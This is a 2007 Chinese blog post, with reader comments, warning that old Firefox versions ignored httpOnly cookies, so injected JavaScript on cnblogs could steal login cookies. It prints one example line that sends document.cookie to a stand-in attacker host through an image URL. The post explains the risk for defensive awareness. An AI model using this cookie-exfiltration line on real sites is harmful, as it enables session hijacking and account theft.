Lostinet

Lostinet
随笔 - 18, 文章 - 0, 评论 - 297, 引用 - 4
数据加载中……

不要用FireFox登录博客园 : 一个一直都让人忽略的ASP.NET安全问题.

自从IE6 SP1起 , 这个浏览器就支持cookie的httpOnly属性.

这个属性, 告诉浏览器, 使用 window.document.cookie 不允许访问该cookie .

而在ASP.NET2.0中 , 这个属性也得到了支持, 并且在FormAuthentication中指定该属性.


但是,FireFox等浏览器, 并不支持该属性. 那么这个带来什么后果?

例如 , 假如你用FireFox登录博客园(www.cnblogs.com), 然后到一个恶意的用户的文章去.

你知道cnblogs.com允许用户随意增加javascript的.

那么该用户就能得到你的cookie,然后用一个简单的方法,把你的cookie发送到他的数据库去:

hiddenImg.src="http://hackyourlogininfo.com/savecookie.aspx?cookie="+escape(document.cookie)

当然,ASP.NET发送给客户端的信息是加密过的.

但是别人可以直接通过伪造COOKIE,直接使用该cookie,以你的身份登录博客园.

 

所以 - 用FireFox登录博客园类似的网站, 你的帐户信息随时会被盗.

但是如果使用IE6SP1,IE7,就不会存在该问题.

因为它支持httpOnly,所以使用document.cookie并不能取得ASP.NET的登录信息.

 

alert(document.cookie)
---
更新一下. FireFox在2.0.0.5已经解决这个问题.
但是不能因为cnblogs的用户用上最新的FireFox就能排除那些仍然在使用老版本的用户的情况.
IT人员只是很少的一部分人. 我们开发的程序是给各种各样的人使用的.
不能说我们没有这个问题, 就万事大吉.

posted on 2007-11-10 12:30 Lostinet 阅读(2702) 评论(41)  编辑 收藏 网摘

评论

#1楼    回复  引用  查看    

mark
2007-11-10 12:41 | Mirricle      

#2楼    回复  引用  查看    

谢谢,没想到有如此严重的问题。
2007-11-10 12:49 | 木野狐(Neil Chen)      

#3楼    回复  引用  查看    

又长见识了。
2007-11-10 13:08 | o摆摆o0O       

#4楼    回复  引用    

说起来,这只是跨站脚本的一个应用而已,允许放自定义脚本的站点,都会存在这样的问题。
2007-11-10 13:15 | bangbang [未注册用户]

#5楼    回复  引用  查看    

呵呵,,学习了
2007-11-10 13:20 | 坐断东南 笑煞之!!      

#6楼    回复  引用  查看    

FF居然不支持?跨站攻击出现那么多年了,对此有点意外。。。
2007-11-10 13:23 | cnlamar      

#7楼 [楼主]   回复  引用  查看    

这个问题是很早之前就存在了.

但是今天用FireFox测试, 又发现不到这个问题.

也许FireFox在某个patch中解决了这个问题.
2007-11-10 13:28 | Lostinet      

#8楼 [楼主]   回复  引用  查看    

我去找了一下 .
是在2.0.0.5中修正的.
没有更新FireFox的要注意了.
同样, IE6不是SP1的, 也有同样问题.

http://www.rooftopsolutions.nl/article/142
2007-11-10 13:29 | Lostinet      

#9楼    回复  引用  查看    

现在我用的是 Firefox/2.0.0.9
2007-11-10 13:48 | 木野狐(Neil Chen)      

#10楼 [楼主]   回复  引用  查看    

所以不要盲目相信FireFox
在安全的考虑方面,IE永远比FireFox要前卫.
IE存在的问题,只是软件质量问题, 而不是设计的原因.
2007-11-10 13:54 | Lostinet      

#11楼    回复  引用  查看    

FireFox 更新比IE要快的多。。。
2007-11-10 14:15 | GoGoSonny      

#12楼    回复  引用  查看    

这个cookie如果可以简单重放,慢说浏览器如何,本身服务器端设计就有龇漏,尽管出发点是好的,blog无所谓了,要是商务网站或银行的话....恐怕就不是由浏览器来承担责任了吧....
2007-11-10 14:26 | neoragex2002      

#13楼    回复  引用  查看    

突然想起个问题,既然这个httponly是由浏览器保证js读不了的,那么如果crack了自己的IE,比方说网吧里的系统,然后让别人去用,不知又会出现怎样的问题,heh
2007-11-10 14:39 | neoragex2002      

#14楼    回复  引用  查看    

支持一下
2007-11-10 14:59 | Justin      

#15楼    回复  引用  查看    

这个不是FireFox的问题。
其实cnblogs目前可以说是script injection的温床,利用这一点什么事情都可以做。其实我也和dudu提过这个,现在只是大家都比较“自觉”而已,呵呵。
2007-11-10 15:01 | Jeffrey Zhao      

#16楼    回复  引用  查看    

看了标题……这个问题其实也和asp.net安全无关阿,浏览器行为本身就是脱离于服务器技术的。
2007-11-10 15:03 | Jeffrey Zhao      

#17楼    回复  引用  查看    

@Jeffrey Zhao
hmmm 说到点子上了,归结到一点:如果要考虑安全性的话,就必须假设所有的浏览器都是恶意的,不安全的..............
2007-11-10 15:08 | neoragex2002      

#18楼    回复  引用  查看    

博客园会考虑过滤一些可能会带来安全问题的脚本。
2007-11-10 15:14 | dudu      

#19楼    回复  引用  查看    

多谢提醒 那用遨游有这个问题吗?
2007-11-10 15:23 | Enzo      

#20楼    回复  引用  查看    

@Enzo
遨游是基于ie的内核的,应该没有问题。

firefox 2.0.0.9有这个问题吗?
2007-11-10 16:02 | 踏雪无痕      

#21楼    回复  引用  查看    

长了见识。还没有研究过博客园的这个问题,一直都挺相信DuDu的,也相信在博客园上安家的兄弟姐妹们都是会自觉地做一个“人”。
2007-11-10 16:54 | 韩现龙      

#22楼    回复  引用    

可以把cookie的domain设置到二级域名,比如:
Lostinet.cnblogs.com
不知道这个办法可行不。

不过那些挂恶意js的人好像是违法的,我国的法律对这个计算机网络方面是出奇的严格的,那个修改腾讯的珊瑚虫就给抓了。
2007-11-10 17:08 | 45 [未注册用户]

#23楼    回复  引用  查看    

恩啊,让使用js就总会存在漏洞吧?博客园貌似只靠建立用户自觉度来防范攻击,这点不好。。呵呵~应该改正
2007-11-10 17:27 | Zhuang miao      

#24楼    回复  引用  查看    

博主构造一篇可以截获cookie的日志,然后我用ff登录,咱们亲自试试吧?要不谁知道是不是真的可以做到?
ok?
2007-11-10 17:28 | Zhuang miao      

#25楼    回复  引用  查看    

标题不够准确啊。这不止是Asp.Net的问题。准确点说应该是JS和浏览器之间的事。
2007-11-10 17:33 | 橘子&猪      

#26楼    回复  引用  查看    

我不信。。
2007-11-10 19:18 | TAOTAO.      

#27楼    回复  引用  查看    

只在自己电脑上用,看的文章都是几个比较活跃的用户
2007-11-10 20:08 | RicCC      

#28楼    回复  引用    

B/S编程,有一点是要记牢的,对客户端提交的任何数据,都要持怀疑的态度。
对于一个黑客,他不一定是用浏览器来访问你的服务器,任何数据他都可以提交上来。
2007-11-10 21:19 | 大犇 [未注册用户]

#29楼    回复  引用  查看    

Firefox不是绝对安全,然而至少标准。HttpOnly本来就不属于标准,显然Firefox加不加这个属性要从自身的角度来衡量。

这就好像innerHTML属性一样,标准没有,然而大家都知道标准DOM操作实在太太太繁琐了,有innerHTML属性省事不少,所以纷纷支持这个IE扩展属性。

那么HttpOnly呢?首先是这个设计到底是否有效,其次是有多少站点确实依赖于此属性,根据这些因素Firefox才会选择是否支持这个扩展。
2007-11-10 22:57 | Cat Chen      

#30楼    回复  引用  查看    

至于开放脚本带来的安全问题,大家都知道。甚至开放CSS也存在危险性,因为IE支持expression(),开发CSS意味着间接开放了脚本。

君不见那个所谓的校内网,用户自定义功能方面开了又关,关了又开?就因为这是个非常难把握的事情。我们来说Facebook API吧,知道他们的安全官如何上任的吗?就因为他黑了Facebook,所以得到了这个职位。还有Google的OpenSocial API呢?无非就是一个Social Gadget框架,不也是放出来一会儿就被黑了吗?要做个开放的环境,同时又要保护数据安全,从来都不容易。
2007-11-10 23:01 | Cat Chen      

#31楼    回复  引用  查看    

Firefox对标准的支持以及开放性,实在是客户端开发的必备利器
2007-11-10 23:02 | Klesh Wong      

#32楼    回复  引用    

这算不算因噎废食

就如同阻止攻击服务器最好的方式就是拔掉网线一样

怕被钓鱼可以不用记住用户名的方式

但是不能用Firefox登录博客园未免太夸张了
2007-11-11 03:08 | Kurax Kuang [未注册用户]

#33楼    回复  引用  查看    

FF还有个问题,就是如果你用浏览器的记住密码功能,别人如果打开你的浏览器,很容易看到你的密码,用这些密码和用户名登录了哪些网站,这样真让人汗颜,我刚刚把我记住的那些密码给删了。
2007-11-11 11:53 | Felix      

#34楼    回复  引用  查看    

@Felix
貌似没有人会把自己的系统账号直接别人用吧,例如Windows帐号。即使把自己的笔记本借给女朋友用一下而已,我也会选择开一个Windows帐号给她,登录进去之后都是重新初始化的,她不会有机会看到她不应该看到的东西,哈哈!
2007-11-11 12:56 | Cat Chen      

#35楼    回复  引用  查看    

@Felix
可以给FIREFOX设置一个“主密码”,其实,也就是查看密码的密码。
2007-11-11 14:26 | GoGoSonny      

#36楼    回复  引用  查看    

呵呵,以这种方式报道FF的安全漏洞,有意思,不过我现在已经是2.0.0.9了,还是要谢谢博主提醒!
2007-11-12 09:42 | Clark Zheng      

#37楼    回复  引用  查看    

@GoGoSonny
好像这个方法不错,试试,原来下面还有个主密码的
2007-11-12 16:31 | Felix      

#38楼    回复  引用  查看    

珍爱生命·远离Firefox
2007-11-12 17:44 | birdshome      

#39楼    回复  引用    

disable cookies
2007-11-13 09:21 | Junoon [未注册用户]

#40楼    回复  引用    

这跟本不问题的问题,使用旧版本的IE的用户也是存在极大多数…… 同样存在这个问题

而用 FireFOX 每次打开都会检测是否存在最新版本, 会提示你是否更新!!
IE 就差了点。要全依赖WIN系统的update功能,不排除安装集成系统的用户默认已经把这关闭了……
2007-11-13 14:14 | JAB [未注册用户]

#41楼    回复  引用    

@Kurax Kuang
--引用--------------------------------------------------
Kurax Kuang: 这算不算因噎废食

就如同阻止攻击服务器最好的方式就是拔掉网线一样

怕被钓鱼可以不用记住用户名的方式

但是不能用Firefox登录博客园未免太夸张了
--------------------------------------------------------
我也觉得不能因噎废食,只要连到网络上就没有绝对安全的事,我觉得安全还是要通过各方面来维护的,比如警方打击黑客的力度,以及服务器管理者维护的勤快程度,比如做到每天检查日志和备份,以及采用备用服务器,单纯的在技术上钻牛角尖是很痛苦的。
2007-11-13 16:10 | Leisang [未注册用户]

标题  
姓名  
主页
Email (博主才能看到) 
验证码 *  看不清,换一张 [登录][注册]
内容(请不要发表任何与政治相关的内容)  
  登录  使用高级评论  新用户注册  返回页首  恢复上次提交      
该文被作者在 2007-11-10 17:46 编辑过
Google站内搜索



相关文章:

相关链接: